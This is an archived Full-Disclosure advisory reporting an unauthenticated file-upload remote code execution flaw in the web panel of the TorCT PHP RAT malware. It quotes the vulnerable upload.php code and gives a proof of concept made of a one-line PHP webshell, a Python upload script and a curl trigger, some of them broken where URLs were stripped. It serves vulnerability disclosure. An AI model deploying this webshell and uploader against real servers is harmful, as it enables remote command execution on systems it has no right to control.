lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  PHC 
Open Source and information security mailing list archives
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Thu, 17 Mar 2022 13:06:28 -0400
From: malvuln <>
Subject: [FD] BuilderTorCTPHPRAT.b / Arbitrary File Upload - RCE

Discovery / credits: Malvuln - (c) 2022
Original source:

Threat: BuilderTorCTPHPRAT.b
Vulnerability: Arbitrary File Upload - RCE
Type: WebUI
MD5: 838f67d7a4b6824ec59892057aab3bb7 (Webremote TorCT Client.exe)
MD5: b54822058a3ed33c673d06113b453ebe (upload.php)
Vuln ID: MVID-2022-0519
Disclosure: 03/17/2022
Description: The TorCT client malwares web-panel allows unauthenticated
uploads and does not check the expected file type E.g. ".png". Third-party
attackers who can reach the server can upload their own backdoor PHP
webshell and execute any commands on the malwares C2 server.

"upload.php" vulnerable code:

$DelOrNot = $_GET['D'];

if ($DelOrNot == "true")


$uploadDir = 'Upload/';
$uploadFile = $uploadDir . basename($_FILES['file']['name']);
if (is_uploaded_file($_FILES['file']['tmp_name']))
    echo "File ". $_FILES['file']['name'] ." is successfully uploaded!\r\n";
    if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadFile))
        echo "File is successfully stored! ";
    else print_r($_FILES);
    echo "Upload Failed!";

1) Create PHP webshell "pwn.php",  exec($_GET['cmd']);

2) Create Python uploader ""
import requests


files = {'file': open('pwn.php', 'rb')}
r =, files=files)
if r.status_code==200:
    print("TorCTPHPRAT PWNED!")

3) Exploit
curl "

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) (TM).

Sent through the Full Disclosure mailing list
Web Archives & RSS:

Powered by blists - more mailing lists